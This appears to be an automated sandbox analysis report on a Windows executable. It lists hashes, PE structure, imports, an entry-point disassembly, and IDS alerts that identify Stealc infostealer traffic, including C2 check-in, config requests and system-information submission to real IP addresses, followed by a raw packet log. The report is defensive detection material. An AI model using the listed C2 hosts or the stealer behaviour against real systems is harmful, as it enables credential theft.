SHA256:	9f0211ae5c3912eb204d513f0f6341bf5634d6d021db76a4247510e2c4d107be
SHA512:	fab6b0f6386488df6c5cd686ae7d4daeb81c36e608956f7f2507272b892d0374aa49877bebcd57e6428cd6d301a6ca6ab4e486774522dccd1e33fd1bdaecda05
SSDEEP:	6144:kY+nJeMuL/YRGTYjkgjwdle2RaNgHWkc71XK3jqZq:kTJATCrUdle2wNe+Xh
TLSH:	F284E0213AF28035F3F39E3429B657556A7FB8A37D74488F2591121E1E31AC1AE32727
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........aL.e...e...e..q*...e...7...e...7...e...7...e....t..e...e...e...7...e...7...e...7...e..Rich.e..........PE..L.....@e...........

File Icon


Icon Hash:	46c7c30b0f4e0d59

Static PE Info

General

Entrypoint:	0x401906
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x65408207 [Tue Oct 31 04:26:47 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	5a6687486c1342107c7fc9b11820859a

Entrypoint Preview

Instruction
call 00007F137CD66BCAh
jmp 00007F137CD6390Dh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov dword ptr [00451588h], eax
mov dword ptr [00451584h], ecx
mov dword ptr [00451580h], edx
mov dword ptr [0045157Ch], ebx
mov dword ptr [00451578h], esi
mov dword ptr [00451574h], edi
mov word ptr [004515A0h], ss
mov word ptr [00451594h], cs
mov word ptr [00451570h], ds
mov word ptr [0045156Ch], es
mov word ptr [00451568h], fs
mov word ptr [00451564h], gs
pushfd
pop dword ptr [00451598h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [0045158Ch], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [00451590h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [0045159Ch], eax
mov eax, dword ptr [ebp-00000320h]
mov dword ptr [004514D8h], 00010001h
mov eax, dword ptr [00451590h]
mov dword ptr [0045148Ch], eax
mov dword ptr [00451480h], C0000409h
mov dword ptr [00451484h], 00000001h
mov eax, dword ptr [00450008h]
mov dword ptr [ebp-00000328h], eax
mov eax, dword ptr [0045000Ch]
mov dword ptr [ebp-00000324h], eax
call dword ptr [000000DCh]

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4e7cc	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2695000	0xba20	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x4e3d0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x4d000	0x1a8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4be40	0x4c000	1e13ff10549869782f3c63ddfc793e59	False	0.8571970086348685	data	7.553517594947682	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x4d000	0x218c	0x2200	78d06a4c7cb543a36fd372954ca35d09	False	0.3625919117647059	data	5.570470916234144	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x50000	0x263dc60	0x1600	548d771b3ec072910f4a268318aab89d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tifima	0x268e000	0x4948	0x3e00	51596dda30fc38f0df3556d6f115256d	False	0.0023941532258064517	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.safune	0x2693000	0x400	0x400	0f343b0931126a20f133d67c2b018a3b	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.genon	0x2694000	0xc	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x2695000	0xba20	0xbc00	108fb1f5f8ca73a6d1efe010e26633c6	False	0.6344331781914894	data	5.814174046181617	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x26954e0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Sanskrit	India	0.8339552238805971
RT_ICON	0x2696388	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Sanskrit	India	0.8569494584837545
RT_ICON	0x2696c30	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Sanskrit	India	0.7799539170506913
RT_ICON	0x26972f8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Sanskrit	India	0.7890173410404624
RT_ICON	0x2697860	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Sanskrit	India	0.8061203319502075
RT_ICON	0x2699e08	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Sanskrit	India	0.8327861163227017
RT_ICON	0x269aeb0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Sanskrit	India	0.8463114754098361
RT_ICON	0x269b838	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Sanskrit	India	0.8563829787234043
RT_STRING	0x269bed8	0x6e2	data			0.4301929625425653
RT_STRING	0x269c5c0	0x606	data			0.433852140077821
RT_STRING	0x269cbc8	0x122	data			0.5379310344827586
RT_STRING	0x269ccf0	0x7fa	data			0.41332027424094026
RT_STRING	0x269d4f0	0x6b6	data			0.42491268917345754
RT_STRING	0x269dba8	0x698	data			0.43364928909952605
RT_STRING	0x269e240	0x7dc	data			0.42047713717693835
RT_STRING	0x269ea20	0x576	data			0.43919885550786836
RT_STRING	0x269ef98	0x704	data			0.4265033407572383
RT_STRING	0x269f6a0	0x620	data			0.4330357142857143
RT_STRING	0x269fcc0	0x548	data			0.4474852071005917
RT_STRING	0x26a0208	0x812	data			0.41674733785091966
RT_ACCELERATOR	0x269bd18	0x20	data			1.15625
RT_GROUP_ICON	0x269bca0	0x76	data	Sanskrit	India	0.6610169491525424
RT_VERSION	0x269bd38	0x19c	data			0.5800970873786407

Imports

DLL	Import
KERNEL32.dll	WriteConsoleOutputCharacterW, GetLocaleInfoA, InterlockedDecrement, SetDefaultCommConfigW, GetEnvironmentStringsW, InterlockedCompareExchange, GetTimeFormatA, ConnectNamedPipe, GetModuleHandleW, GetConsoleAliasesA, GetCommandLineA, LoadLibraryW, GetProcessHandleCount, GetSystemWindowsDirectoryA, GetConsoleAliasExesLengthW, WriteConsoleOutputA, GetConsoleAliasW, GetVolumePathNameA, GetStringTypeExA, GetShortPathNameA, GetLogicalDriveStringsA, SetThreadContext, GetProcAddress, MoveFileW, OpenWaitableTimerA, WriteConsoleA, LocalAlloc, AddAtomW, OpenJobObjectW, SetCommMask, FindAtomA, GetModuleFileNameA, GetModuleHandleA, BuildCommDCBA, SetCalendarInfoA, SetThreadAffinityMask, OpenFileMappingA, GetSystemTime, CreateFileA, GetNumaNodeProcessorMask, GetLastError, GetComputerNameA, HeapFree, HeapAlloc, HeapReAlloc, Sleep, ExitProcess, GetStartupInfoA, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapCreate, VirtualFree, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, VirtualAlloc, WriteFile, GetStdHandle, SetHandleCount, GetFileType, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, LoadLibraryA, InitializeCriticalSectionAndSpinCount, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, RtlUnwind, MultiByteToWideChar, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, HeapSize, GetConsoleCP, GetConsoleMode, FlushFileBuffers, SetFilePointer, SetStdHandle, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, CloseHandle, GetConsoleOutputCP, WriteConsoleW
USER32.dll	GetClassLongA, GetMonitorInfoA
ADVAPI32.dll	DeleteAce, RegCreateKeyA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Sanskrit	India

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-26T00:07:18.638776+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49730	172.67.179.207	443	TCP
2024-11-26T00:07:20.404211+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49731	176.113.115.37	80	TCP
2024-11-26T00:07:25.341415+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49734	92.255.57.88	80	TCP
2024-11-26T00:07:25.812691+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49734	92.255.57.88	80	TCP
2024-11-26T00:07:25.936007+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	92.255.57.88	80	192.168.2.4	49734	TCP
2024-11-26T00:07:26.266479+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49734	92.255.57.88	80	TCP
2024-11-26T00:07:26.388369+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	92.255.57.88	80	192.168.2.4	49734	TCP
2024-11-26T00:07:27.331222+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49734	92.255.57.88	80	TCP
2024-11-26T00:07:27.781369+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49734	92.255.57.88	80	TCP
2024-11-26T00:07:41.518868+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	92.255.57.88	80	TCP
2024-11-26T00:07:43.528765+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	92.255.57.88	80	TCP
2024-11-26T00:07:44.894059+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	92.255.57.88	80	TCP
2024-11-26T00:07:46.039420+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	92.255.57.88	80	TCP
2024-11-26T00:07:49.780511+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	92.255.57.88	80	TCP
2024-11-26T00:07:50.927879+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	92.255.57.88	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 00:07:07.693923950 CET	49675	443	192.168.2.4	173.222.162.32
Nov 26, 2024 00:07:16.626091957 CET	49730	443	192.168.2.4	172.67.179.207
Nov 26, 2024 00:07:16.626121044 CET	443	49730	172.67.179.207	192.168.2.4
Nov 26, 2024 00:07:16.626204014 CET	49730	443	192.168.2.4	172.67.179.207
Nov 26, 2024 00:07:16.735260963 CET	49730	443	192.168.2.4	172.67.179.207
Nov 26, 2024 00:07:16.735275030 CET	443	49730	172.67.179.207	192.168.2.4
Nov 26, 2024 00:07:18.004467010 CET	443	49730	172.67.179.207	192.168.2.4
Nov 26, 2024 00:07:18.004551888 CET	49730	443	192.168.2.4	172.67.179.207
Nov 26, 2024 00:07:18.059811115 CET	49730	443	192.168.2.4	172.67.179.207
Nov 26, 2024 00:07:18.059825897 CET	443	49730	172.67.179.207	192.168.2.4
Nov 26, 2024 00:07:18.060066938 CET	443	49730	172.67.179.207	192.168.2.4
Nov 26, 2024 00:07:18.060118914 CET	49730	443	192.168.2.4	172.67.179.207
Nov 26, 2024 00:07:18.089549065 CET	49730	443	192.168.2.4	172.67.179.207
Nov 26, 2024 00:07:18.131335020 CET	443	49730	172.67.179.207	192.168.2.4
Nov 26, 2024 00:07:18.638792038 CET	443	49730	172.67.179.207	192.168.2.4
Nov 26, 2024 00:07:18.638859034 CET	49730	443	192.168.2.4	172.67.179.207
Nov 26, 2024 00:07:18.638859987 CET	443	49730	172.67.179.207	192.168.2.4
Nov 26, 2024 00:07:18.638906002 CET	49730	443	192.168.2.4	172.67.179.207
Nov 26, 2024 00:07:18.640271902 CET	49730	443	192.168.2.4	172.67.179.207
Nov 26, 2024 00:07:18.640284061 CET	443	49730	172.67.179.207	192.168.2.4
Nov 26, 2024 00:07:18.640315056 CET	49730	443	192.168.2.4	172.67.179.207
Nov 26, 2024 00:07:18.640347958 CET	49730	443	192.168.2.4	172.67.179.207
Nov 26, 2024 00:07:18.854074955 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:18.974070072 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:18.974138021 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:18.974263906 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:19.094254017 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.404117107 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.404131889 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.404146910 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.404159069 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.404169083 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.404181004 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.404191971 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.404202938 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.404211044 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.404215097 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.404227018 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.404237986 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.404290915 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.524235010 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.524256945 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.524315119 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.528413057 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.528467894 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.528490067 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.528544903 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.614656925 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.614675045 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.614748955 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.618561983 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.618660927 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.618736982 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.625065088 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.625178099 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.625209093 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.625235081 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.633491039 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.633544922 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.633601904 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.633649111 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.641921043 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.642028093 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.642059088 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.642082930 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.650306940 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.650377035 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.650435925 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.658757925 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.658821106 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.658864975 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.658910990 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.667186975 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.667262077 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.667292118 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.667427063 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.674854040 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.674904108 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.674957991 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.674998045 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.682523966 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.682579041 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.682635069 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.682684898 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.690211058 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.690282106 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.690310955 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.690392971 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.697916985 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.697974920 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.698031902 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.698394060 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.734647989 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.734704971 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.824745893 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.824799061 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.824827909 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.824887037 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.827725887 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.827796936 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.828840971 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.828902960 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.828936100 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.828969955 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.834955931 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.835009098 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.835088015 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.835134983 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.841039896 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.841092110 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.841136932 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.841183901 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.847090006 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.847147942 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.847203016 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.847253084 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.853157997 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.853207111 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.853334904 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.853382111 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.859239101 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.859297991 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.859352112 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.859448910 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.865335941 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.865387917 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.865529060 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.865581036 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.871356010 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.871414900 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.871512890 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.871567965 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.877382040 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.877439976 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.877475977 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.877837896 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.881372929 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.881424904 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.881488085 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.881781101 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.882093906 CET	49732	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:07:20.882126093 CET	443	49732	52.149.20.212	192.168.2.4
Nov 26, 2024 00:07:20.882241964 CET	49732	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:07:20.883929014 CET	49732	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:07:20.883941889 CET	443	49732	52.149.20.212	192.168.2.4
Nov 26, 2024 00:07:20.885348082 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.885416985 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.885457993 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.885535002 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.889377117 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.889494896 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.889554977 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.893268108 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.893343925 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.893383026 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.893565893 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.897227049 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.897306919 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.897356033 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.901187897 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.901240110 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.901283979 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.901328087 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.905152082 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.905195951 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.905246973 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.905292988 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.909127951 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.909183979 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.909248114 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.909291029 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.913085938 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.913136005 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.913146019 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.913294077 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.917038918 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.917090893 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.917131901 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.917186975 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:20.921022892 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:20.921128035 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.035144091 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.035222054 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.035384893 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.035445929 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.037100077 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.037170887 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.037197113 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.037513971 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.041078091 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.041121960 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.042517900 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.042570114 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.042634964 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.042711020 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.046495914 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.046561003 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.046627998 CET	80	49731	176.113.115.37	192.168.2.4
